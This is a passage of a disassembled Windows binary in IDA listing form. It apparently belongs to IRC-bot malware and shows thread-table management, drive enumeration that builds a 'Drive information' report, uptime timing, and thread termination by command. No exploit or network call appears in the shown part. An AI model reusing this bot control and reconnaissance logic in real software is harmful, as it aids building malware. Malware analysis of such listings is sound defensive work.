frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push [ebp+var_4] push offset sub_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; sub_408E8E+2Dj mov al, byte ptr [ebp+var_1C] add al, 1 mov byte ptr [ebp+var_1C], al movsx eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F2E proc near ; DATA XREF: sub_4091E2+35o var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = byte ptr -420h var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_404 = byte ptr -404h var_3EF = byte ptr -3EFh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_404] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp+var_3EF] rep stosd stosw stosb mov eax, dword_419398 mov [ebp+var_424], eax and [ebp+var_418], 0 and [ebp+var_5D8], 0 and [ebp+var_414], 0 mov [ebp+var_410], 1 loc_408FA6: ; CODE XREF: sub_408F2E+23Bj lea eax, [ebp+var_424] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_5DC], eax cmp [ebp+var_5DC], 0 jz loc_409151 cmp [ebp+var_5DC], 1 jz loc_409151 cmp [ebp+var_5DC], 2 jnz short loc_408FE5 mov [ebp+var_4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: sub_408F2E+ACj cmp [ebp+var_5DC], 3 jnz short loc_408FF7 mov [ebp+var_4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: sub_408F2E+BEj cmp [ebp+var_5DC], 4 jnz short loc_409009 mov [ebp+var_4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: sub_408F2E+D0j cmp [ebp+var_5DC], 5 jnz short loc_40901B mov [ebp+var_4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: sub_408F2E+E2j cmp [ebp+var_5DC], 6 jnz short loc_40902D mov [ebp+var_4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: sub_408F2E+F4j mov [ebp+var_4], offset aUnknown ; "unknown" loc_409034: ; CODE XREF: sub_408F2E+B5j ; sub_408F2E+C7j ... cmp [ebp+var_5DC], 5 jz short loc_40906A cmp [ebp+var_5DC], 2 jz short loc_40906A lea eax, [ebp+var_42C] push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_424] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408F2E+10Dj ; sub_408F2E+116j push 8 push 0 lea eax, [ebp+var_42C] push eax call sub_416B6A ; memset add esp, 0Ch loc_40907D: ; CODE XREF: sub_408F2E+13Aj push 0 push 100000h push [ebp+var_428] push [ebp+var_42C] call sub_416C90 mov [ebp+var_42C], eax mov [ebp+var_428], edx cmp [ebp+var_410], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: sub_408F2E+17Aj and [ebp+var_410], 0 loc_4090C6: ; CODE XREF: sub_408F2E+18Fj mov eax, [ebp+var_42C] or eax, [ebp+var_428] test eax, eax jz short loc_40910A push [ebp+var_428] push [ebp+var_42C] push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193E4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: sub_408F2E+1A6j push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193D4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h loc_409130: ; CODE XREF: sub_408F2E+1DAj mov eax, [ebp+var_42C] mov ecx, [ebp+var_414] add ecx, eax mov [ebp+var_414], ecx mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_409151: ; CODE XREF: sub_408F2E+92j ; sub_408F2E+9Fj mov al, byte ptr [ebp+var_424] add al, 1 mov byte ptr [ebp+var_424], al movsx eax, byte ptr [ebp+var_424] cmp eax, 5Ah jnz loc_408FA6 cmp [ebp+var_5D8], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40918B: ; CODE XREF: sub_408F2E+248j push [ebp+var_414] push [ebp+var_5D8] lea eax, [ebp+var_404] push eax push offset dword_41939C lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h lea eax, [ebp+var_404] push eax push offset dword_418B64 lea eax, [ebp+var_5D0] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5D4] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 sub_408F2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset sub_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: sub_4167F1+215p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol mov dword_41E3A0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_41E3A0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol sub eax, dword_41E3A0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call dword_4170D0 ; GetTickCount sub eax, dword_41E3A0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: sub_4167F1+D5p push ebp mov ebp, esp and dword_41E3C0, 0 push 1980h call sub_416B46 ; malloc pop ecx mov dword_41E3C8, eax push offset dword_41E3A8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093B6 proc near ; DATA XREF: sub_409479+35o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_1C], eax push [ebp+arg_0] call sub_416B4C ; free pop ecx push [ebp+var_20] call dword_4170DC ; IsBadCodePtr test eax, eax jz short loc_409431 cmp dword_41DF08, 0 jz short loc_40942F push [ebp+var_20] push offset dword_419474 push offset dword_41DB88 call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: sub_4093B6+62j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: sub_4093B6+59j push [ebp+var_1C] call [ebp+var_20] mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj or [ebp+var_4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_409466: ; CODE XREF: sub_4093B6+91j xor eax, eax loc_409468: ; CODE XREF: sub_4093B6+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4093B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: sub_40764D+14Ap ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset sub_4093B6 push 20000h push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call dword_4170A4 ; CloseHandle push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C ; free pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_41DF00 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+10h] mov [ebp+var_1A0], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_0] mov eax, [ebp+arg_0] mov eax, [eax] call dword ptr [eax+10h] mov [ebp+var_1A4], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_1A4] jmp short loc_409593 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_409593: ; CODE XREF: sub_4094E6+8Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4094E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E3A8 call sub_409C6C pop ecx cmp dword_41E3C0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E3A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, dword_41E3C8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E3A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E3C8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E3A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 ; vsprintf add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, dword_41E3C0 inc eax mov dword_41E3C0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset sub_4094E6 push 0 push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C ; free pop ecx mov eax, dword_41E3C0 dec eax mov dword_41E3C0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A ; memset add esp, 0Ch push offset dword_41E3A8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E3A8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: sub_401244+73p ; sub_401244+547p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E3A8 call sub_409C6C pop ecx mov eax, dword_41E3C0 dec eax mov dword_41E3C0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call dword_4170A4 ; CloseHandle push 198h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch push offset dword_41E3A8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E3A8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3C8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E3A8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E3A8 call sub_409C6C pop ecx mov eax, dword_41E3C0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E3C8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E3C8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E3A8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E3A8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, dword_41E3C0 dec eax mov dword_41E3C0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3C8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3C8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_8] call dword_4170E0 ; TerminateThread push [ebp+var_8] call dword_4170A4 ; CloseHandle loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E3A8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E3A8 call sub_409C6C pop ecx mov eax, dword_41E3C0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E3C8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, dword_41E3C0 dec eax mov dword_41E3C0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E3C8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E3C8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_19C] call dword_4170E0 ; TerminateThread push [ebp+var_19C] call dword_4170A4 ; CloseHandle loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset dword_41E3A8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: 